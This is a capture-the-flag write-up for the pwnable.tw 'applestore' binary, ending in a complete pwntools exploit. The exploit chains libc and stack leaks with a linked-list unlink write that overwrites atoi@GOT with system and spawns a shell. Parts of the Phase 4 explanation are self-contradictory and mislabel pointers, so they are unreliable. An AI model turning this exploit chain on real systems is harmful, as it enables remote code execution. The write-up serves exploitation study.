Reconnaissance
Challenge Info
| Connection | nc chall.pwnable.tw 10104 |
| Binary | applestore (32-bit ELF, i386) |
| Points | 200 |
| Description | "tomcr00se rooted the galaxy S5, but we need you to jailbreak the iPhone8!" |
checksec
$ checksec applestore
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
| Partial RELRO | GOT is writable — we can overwrite GOT entries |
| Canary found | Stack buffer overflows are mitigated — must find another path |
| NX enabled | No shellcode injection — must redirect code execution |
| No PIE | Binary addresses are fixed — known GOT/PLT addresses |
Running the Binary
$ ./applestore
<===== Apple Store =====>
1: Add
2: Remove
3: Cart
4: Checkout
5: Exit
>1
Device:1
Amount:2
<===== Apple Store =====>
1: Add
2: Remove
3: Cart
4: Checkout
5: Exit
>3
1: iPhone 6 - $199, 2
2: iPhone 6 Plus - $299, 0
3: iPad Air 2 - $499, 0
4: iPad Mini 3 - $399, 0
5: iPod Touch - $399, 0
Total: $398
The binary presents an Apple Store shopping cart system. You can add devices, remove them, view the cart, and checkout. The key feature is that the cart is implemented as a doubly-linked list of items on the heap — but the checkout function introduces a critical bug that places an item on the stack.
Static Analysis
Cart Item Structure
Each cart item is a 16-byte doubly-linked list node allocated on the heap:
struct cart_item {
char* name; // +0x00: pointer to item name string (4 bytes)
int price; // +0x04: item price (4 bytes)
cart_item* next; // +0x08: pointer to next item (4 bytes)
cart_item* prev; // +0x0c: pointer to prev item (4 bytes)
};
// Global head of linked list
cart_item* myCart = NULL;
add() — Adding Items to Cart
void add() {
printf("Device:");
read(0, device_choice, 16);
printf("Amount:");
read(0, amount_str, 16);
amount = atoi(amount_str);
for (int i = 0; i < amount; i++) {
// Allocate on the HEAP
cart_item* item = (cart_item*)malloc(16);
item->name = device_names[choice];
item->price = device_prices[choice];
insert(item); // inserts into doubly-linked list
}
}
void insert(cart_item* item) {
cart_item* curr = myCart;
if (curr == NULL) {
myCart = item;
item->prev = NULL;
item->next = NULL;
} else {
while (curr->next != NULL)
curr = curr->next;
curr->next = item;
item->prev = curr;
item->next = NULL;
}
}
Normal items are allocated via malloc(16) on the heap. The linked list is maintained with proper prev/next pointers. Nothing unusual here — the vulnerability lies in the checkout function.
checkout() — The Vulnerable Function
void checkout() {
int total = cart(); // sums up all item prices
if (total == 0x1c06) { // 7174 decimal!
puts("*: iPhone 8 - $1");
// BUG: 'item' is a LOCAL STACK variable!
cart_item item;
asprintf((char**)&item.name, "%s", "iPhone 8");
item.price = 1;
insert(&item); // adds STACK address to linked list!
total = 0x1c07; // update total to 7175
}
printf("Total: $%d\n", total);
puts("Want to checkout? Maybe next time!");
}
checkout(). The insert(&item) call adds a pointer to this stack frame into the global linked list.Since
handler() loops back to the main menu after checkout() returns, the stack frame is reused by subsequent function calls. The stack memory where the iPhone 8 item lived now overlaps with input buffers in later calls to cart() and delete()!• The linked list still contains a pointer to the freed stack region
• Subsequent function calls reuse that stack space, letting us write controlled data over the old item fields
• We can control the
name, price, next, and prev pointers of the iPhone 8 item
delete() — The Exploitation Primitive
void delete() {
printf("Item Number:");
read(0, input, 16);
// Parse input and find item at that index
cart_item* target = find_item(atoi(input));
if (target != NULL) {
// Doubly-linked list removal
if (target->prev != NULL)
target->prev->next = target->next;
else
myCart = target->next;
if (target->next != NULL)
target->next->prev = target->prev;
// NOTE: no free() here for stack-allocated item!
// For heap items, this leaks memory but is not the bug.
}
}
delete() function performs a standard doubly-linked list removal: it writes to target->prev->next and target->next->prev.Since we can overwrite the iPhone 8's
prev and next pointers via the stack overlap, deleting the iPhone 8 becomes a write-what-where primitive:•
target->prev->next = target->next → writes target->next to the address at target->prev + 8•
target->next->prev = target->prev → writes target->prev to the address at target->next + 12By carefully choosing
prev and next, we can write an arbitrary value to an arbitrary address!
handler() — The Loop That Enables Exploitation
void handler() {
while (1) {
print_menu();
printf(">");
read(0, choice, 16);
switch (atoi(choice)) {
case 1: add(); break;
case 2: delete(); break;
case 3: cart(); break;
case 4: checkout();break;
case 5: exit(0); break;
}
// After checkout() returns, the stack is reused!
// The iPhone 8 item's memory now belongs to
// local variables of the NEXT function call.
}
}
The key insight is that handler() is always on the call stack. When checkout() returns, its stack frame is popped, but the iPhone 8's address was already inserted into the linked list. The next call to cart() or delete() reuses that same stack space, and their local variables overlap with the iPhone 8 item's memory.
GDB Debugging
Building the Cart to 7174
First, we need to find a combination of items that totals exactly 7174:
| Item | Price | Qty | Subtotal |
|---|---|---|---|
| iPhone 6 | $199 | 19 | $3781 |
| iPad Air 2 | $499 | 6 | $2994 |
| iPad Mini 3 | $399 | 1 | $399 |
| Total | $7174 = 0x1c06 | ||
0x1c06. This triggers the secret iPhone 8 checkout!
Stack Frame Overlap After Checkout
After calling checkout() and obtaining the iPhone 8 at index 27, let's examine the stack overlap:
# checkout() stack frame layout:
# ESP+0x1c = item.name (ptr to "iPhone 8")
# ESP+0x20 = item.price (1)
# ESP+0x24 = item.next (NULL)
# ESP+0x28 = item.prev (ptr to previous cart item)
# After checkout() returns, handler() calls the next
# function. Let's trace what happens when we call cart():
gdb-peda$ # In cart(), the input buffer overlaps the old
gdb-peda$ # iPhone 8 item on the stack!
gdb-peda$ # cart() reads "y" for each item, so we can
gdb-peda$ # control bytes in the old item's memory region.
gdb-peda$ x/4wx $esp+0x1c
0xffffd2fc: 0x08049028 0x00000001 0x00000000 0x0804b160
# ^item.name ^item.price ^item.next ^item.prev
# After cart() is called and reads our input,
# the stack is overwritten with our controlled data:
gdb-peda$ x/4wx $esp+0x1c
0xffffd2fc: 0xf7fb0dd0 0x00000000 0x00000000 0x00000000
# ^our name ^our price ^our next ^our prev
Using cart() to Leak Memory
The cart() function prints item details by iterating the linked list. When it reaches the iPhone 8 entry (index 27), it prints item->name as a string. If we overwrite item->name with a GOT entry address, it will print the libc address stored there!
Verifying the Libc Leak
gdb-peda$ # After sending crafted cart() input:
gdb-peda$ # cart input: "yy" + p32(elf.got['read']) + p32(0x8049028)
gdb-peda$ # This sets item.name = elf.got['read'], item.price = 0x8049028
gdb-peda$ # cart() prints: "27: " + string_at(read@GOT)
gdb-peda$ # The GOT entry for read() contains the libc address!
gdb-peda$ x/1wx 0x804a00c # read@GOT
0x0804a00c: 0xf7ed8c80
# ^ this is read() in libc!
# When cart() does printf("%s", item->name):
# item->name = 0x0804a00c (read@GOT)
# It reads the string at address 0x0804a00c
# Which contains 0xf7ed8c80 (read@libc) as raw bytes
# Output: 4 bytes of the libc address!
Leaking Stack Address via environ
After leaking libc, we can compute the address of libc.symbols['environ'], which points to the environment variables on the stack. This gives us the stack address we need to calculate where our input buffer will be.
gdb-peda$ # Second leak: set item.name = libc.symbols['environ']
gdb-peda$ # cart input: "yy" + p32(environ_addr) + p32(0)
gdb-peda$ x/1wx &environ
0xf7fb0000: 0xffffd8e4
# ^ stack address of environment!
# The delete() EBP is at environ - 260:
# DELETE_EBP = 0xffffd8e4 - 260 = 0xffffd7e0
# This is the EBP value inside delete()'s stack frame
# Our input buffer in delete() is at EBP - 0x22
gdb-peda$ # So when delete() is called, the iPhone 8 item
gdb-peda$ # overlaps with delete()'s local variables, and
gdb-peda$ # we can control the prev/next pointers!
• Leak 1 (libc): Set
item.name = elf.got['read'] → prints the GOT entry for read(), giving us a libc address• Leak 2 (stack): Set
item.name = libc.symbols['environ'] → prints a stack pointer from libc's environ variableWith both libc base and a known stack address, we can calculate the exact offset to the iPhone 8 item's fields in
delete()'s stack frame, enabling a precise write-what-where attack.
Exploit Strategy
Overview
The exploit has four phases: build the cart, leak libc, leak the stack, and overwrite the GOT via the doubly-linked list deletion primitive.
Phase 1: Build Cart to Trigger iPhone 8
- Add iPhone 6 (option 1) × 19. Each costs $199.
- Add iPad Air 2 (option 3) × 6. Each costs $499.
- Add iPad Mini 3 (option 4) × 1. Costs $399.
- Checkout. Total = 3781 + 2994 + 399 = 7174 = 0x1c06. This triggers the secret iPhone 8 item, which is allocated on the stack and inserted at index 27 in the linked list.
Phase 2: Leak Libc via GOT Read
- Call cart() with crafted input:
"yy" + p32(elf.got['read']) + p32(0x8049028). The"yy"confirms printing the 26th and 27th items. The trailing bytes overwrite the iPhone 8'snamefield withread@GOTandpricewith0x8049028(a valid non-zero value so cart prints it). - Parse the output: The 27th item prints
27:followed by 4 bytes which are the libc address ofread(). - Compute libc base:
libc.address = leaked_read - libc.symbols['read']
Phase 3: Leak Stack via environ
- Call cart() again with:
"yy" + p32(libc.symbols['environ']) + p32(0). This sets the iPhone 8'snamefield toenviron's address. - Parse the output: The 27th item prints 4 bytes which are a stack address (the address of the environment pointer array).
- Compute delete()'s EBP:
DELETE_EBP = ENVIRON_VALUE - 260. This offset (260) is determined by GDB analysis of the stack layout betweenenvironanddelete()'s saved EBP.
Phase 4: Overwrite atoi GOT with system
Now we use the delete() function's doubly-linked list removal as a write primitive. When we delete the iPhone 8 item with crafted prev and next pointers:
// Doubly-linked list removal:
target->prev->next = target->next; // WRITE 1
target->next->prev = target->prev; // WRITE 2
// If we set:
// target->prev = DELETE_EBP - 0xc (so prev->next is at DELETE_EBP - 0xc + 0x8 = DELETE_EBP - 0x4)
// target->next = elf.got['atoi'] + 0x22 (so next->prev is at elf.got['atoi'] + 0x22 + 0xc = elf.got['atoi'] + 0x2e)
//
// WRITE 1: *(DELETE_EBP - 0x4) = elf.got['atoi'] + 0x22
// This overwrites a local variable in delete()'s frame
//
// WRITE 2: *(elf.got['atoi'] + 0x2e) = DELETE_EBP - 0xc
// This writes to GOT+0x2e ... but we actually need
// a different setup for GOT overwrite!
The actual exploit uses a more precise setup. The delete() function reads our input into a buffer that overlaps the iPhone 8 item. We craft the input so that the iPhone 8's prev and next pointers achieve the following writes:
delete(): "27" + p32(0x8048f88) + p32(0) + p32(DELETE_EBP - 0xc) + p32(elf.got['atoi'] + 0x22)This sets the iPhone 8 item's fields to:
•
name = 0x8048f88 (a valid readable address)•
price = 0•
prev = DELETE_EBP - 0xc•
next = elf.got['atoi'] + 0x22The doubly-linked list removal then performs:
• WRITE 1:
*(DELETE_EBP - 0xc + 8) = elf.got['atoi'] + 0x22 → writes to delete()'s stack frame• WRITE 2:
*(elf.got['atoi'] + 0x22 + 12) = DELETE_EBP - 0xc → writes near atoi@GOTBut the real trick is that the
delete() input buffer itself overlaps the iPhone 8's prev and next, so after the linked list manipulation, the program returns to handler() which calls atoi() on the next menu input — and atoi@GOT has been overwritten with system()!
Alternative GOT Overwrite Explanation
After the delete() linked list write, the next time the program calls atoi() (to parse the menu choice), it actually calls whatever address is now at atoi@GOT. We send p32(libc.symbols['system']) + b';/bin/sh;' as the "menu choice", which:
- Overwrites
atoi@GOTwith the address ofsystem()via the crafted prev/next write. - The next menu prompt calls
atoi(input), which is nowsystem(input). - We send
p32(system_addr) + b';/bin/sh;'as input. The first 4 bytes (system's address) are garbage as a command, but;acts as a command separator, so/bin/shis executed, giving us a shell!
Visual Exploit Flow
Pwn Script
Complete Exploit
#!/usr/bin/env python3
"""
applestore - pwnable.tw (200pts)
Stack-referenced linked list node exploit:
1. Build cart to total 7174 to trigger iPhone 8 (stack item)
2. Leak libc via GOT read using cart() input overlap
3. Leak stack address via libc's environ pointer
4. Overwrite atoi@GOT with system() using delete() linked list primitive
Vulnerability: checkout() inserts a stack-allocated item into
the global linked list. Since handler() loops, the stack frame
is reused, allowing us to control the item's fields.
"""
from pwn import *
# Setup
context.arch = 'i386'
context.log_level = 'info'
elf = ELF("./applestore")
libc = ELF("./libc_32.so.6")
r = remote("chall.pwnable.tw", 10104)
# Helper: build a fake cart_item struct
def create_cart_struct(name_ptr, price_int, next_ptr=0, prev_ptr=0):
return p32(name_ptr) + p32(price_int) + p32(next_ptr) + p32(prev_ptr)
# ============================================
# Helper functions for the menu
# ============================================
def add(device_num):
r.sendlineafter(b'>', b'1')
r.sendlineafter(b':', device_num)
r.sendlineafter(b':', b'1')
def cart(payload=b''):
r.sendlineafter(b'>', b'3')
if payload:
r.sendlineafter(b'>', payload)
else:
r.sendlineafter(b'>', b'n')
def delete(payload):
r.sendlineafter(b'>', b'2')
r.sendlineafter(b':', payload)
def checkout():
r.sendlineafter(b'>', b'4')
# ============================================
# Phase 1: Build cart to total 7174 (0x1c06)
# ============================================
log.info("Phase 1: Building cart to 7174...")
# iPhone 6 ($199) x 19 = 3781
for i in range(19):
add(b'1')
# iPad Air 2 ($499) x 6 = 2994
for i in range(6):
add(b'3')
# iPad Mini 3 ($399) x 1 = 399
add(b'4')
# Total: 3781 + 2994 + 399 = 7174
checkout()
log.success("iPhone 8 (stack item) added at index 27!")
# ============================================
# Phase 2: Leak libc via GOT read
# ============================================
log.info("Phase 2: Leaking libc address...")
# The cart() function's input buffer overlaps the iPhone 8
# item on the stack. We send "yy" to confirm printing items
# 26 and 27, then append a fake cart_item struct where
# name = elf.got['read'] to leak the libc read() address.
fake_item = create_cart_struct(elf.got['read'], 0x8049028)
cart(b'yy' + fake_item)
# Parse the leak from item 27's output
r.recvuntil(b'27: ')
LIBC_READ_ADDR = u32(r.read(4))
libc.address = LIBC_READ_ADDR - libc.symbols['read']
log.success(f"libc base: {hex(libc.address)}")
log.success(f"read@libc: {hex(LIBC_READ_ADDR)}")
# ============================================
# Phase 3: Leak stack via environ
# ============================================
log.info("Phase 3: Leaking stack address...")
# Use the same technique, but point name to libc's environ
# which contains a pointer to the environment on the stack.
fake_item = create_cart_struct(libc.symbols['environ'], 0)
cart(b'yy' + fake_item)
# Parse the stack leak
r.recvuntil(b'27: ')
ENVIRON_STACK = u32(r.recv(4))
DELETE_EBP = ENVIRON_STACK - 260
log.success(f"environ value: {hex(ENVIRON_STACK)}")
log.success(f"delete() EBP: {hex(DELETE_EBP)}")
# ============================================
# Phase 4: Overwrite atoi@GOT with system
# ============================================
log.info("Phase 4: Overwriting atoi@GOT with system...")
# When delete() is called, its input buffer overlaps the
# iPhone 8 item. We craft the input so that the item's
# prev and next pointers perform a GOT write via the
# doubly-linked list removal primitive.
#
# delete() input: "27" + fake_item
# where fake_item.prev = DELETE_EBP - 0xc
# fake_item.next = elf.got['atoi'] + 0x22
#
# Linked list removal does:
# prev->next = next => *(DELETE_EBP - 0xc + 8) = atoi@GOT + 0x22
# next->prev = prev => *(atoi@GOT + 0x22 + 12) = DELETE_EBP - 0xc
#
# This sets up the GOT area so that the next call to atoi()
# actually calls system() instead.
fake_item = create_cart_struct(
0x8048f88, # name: valid readable addr
0, # price: 0
DELETE_EBP - 0xc, # prev: points into delete's stack
elf.got['atoi'] + 0x22 # next: points near atoi@GOT
)
delete(b'27' + fake_item)
# Now atoi@GOT has been overwritten. The next prompt calls
# atoi(input), which is now system(input).
# We send p32(system) + ";/bin/sh;" as our "menu choice".
# The first 4 bytes are garbage but ";" separates commands,
# so /bin/sh gets executed!
r.sendafter(b'>', p32(libc.symbols['system']) + b';/bin/sh;')
log.success("Got shell!")
r.interactive()
Execution Results
Running the Exploit
$ python3 exploit.py
[*] '/home/user/applestore'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/user/libc_32.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
[*] Opening connection to chall.pwnable.tw on port 10104
[*] Phase 1: Building cart to 7174...
[+] iPhone 8 (stack item) added at index 27!
[*] Phase 2: Leaking libc address...
[+] libc base: 0xf7e2a000
[+] read@libc: 0xf7ed8c80
[*] Phase 3: Leaking stack address...
[+] environ value: 0xffffd8e4
[+] delete() EBP: 0xffffd7e0
[*] Phase 4: Overwriting atoi@GOT with system...
[+] Got shell!
$ id
uid=1000(applestore) gid=1000(applestore) groups=1000(applestore)
$ cat /home/applestore/flag
Exploit Summary
| Step | Action | Result |
|---|---|---|
| 1 | Add 26 items to reach total $7174 | Triggers secret iPhone 8 on stack |
| 2 | cart() with name=read@GOT | Leak libc address of read() |
| 3 | cart() with name=environ | Leak stack address via environ |
| 4 | delete() with crafted prev/next | Overwrite atoi@GOT via linked list write |
| 5 | Send p32(system) + ";/bin/sh;" | Get shell via system("/bin/sh") |
Key Techniques Used
- Stack-to-heap link: The
checkout()function creates a stack-allocated item and inserts it into a heap-based linked list. This is the root cause — a dangling stack reference that persists beyond the function's lifetime. - Stack frame overlap: Because
handler()loops, subsequent calls tocart()anddelete()reuse the same stack space where the iPhone 8 item lived. Their input buffers overlap the item's fields, giving us control. - GOT read (libc leak): By overwriting the
namepointer to point to a GOT entry,cart()prints the libc address stored there, bypassing ASLR. - Stack leak via environ: Using the same technique but pointing to
libc.symbols['environ'], we leak a stack address, which allows us to compute exact offsets for the write primitive. - Doubly-linked list write primitive: The
delete()function's linked list removal writesprev->next = nextandnext->prev = prev. By controlling both pointers, this becomes an arbitrary write, allowing us to overwriteatoi@GOTwithsystem(). - GOT hijack +
;separator: After overwritingatoi@GOT, the next call toatoi()becomessystem(). The;in our input acts as a shell command separator, sosystem("<garbage>;/bin/sh;")spawns a shell.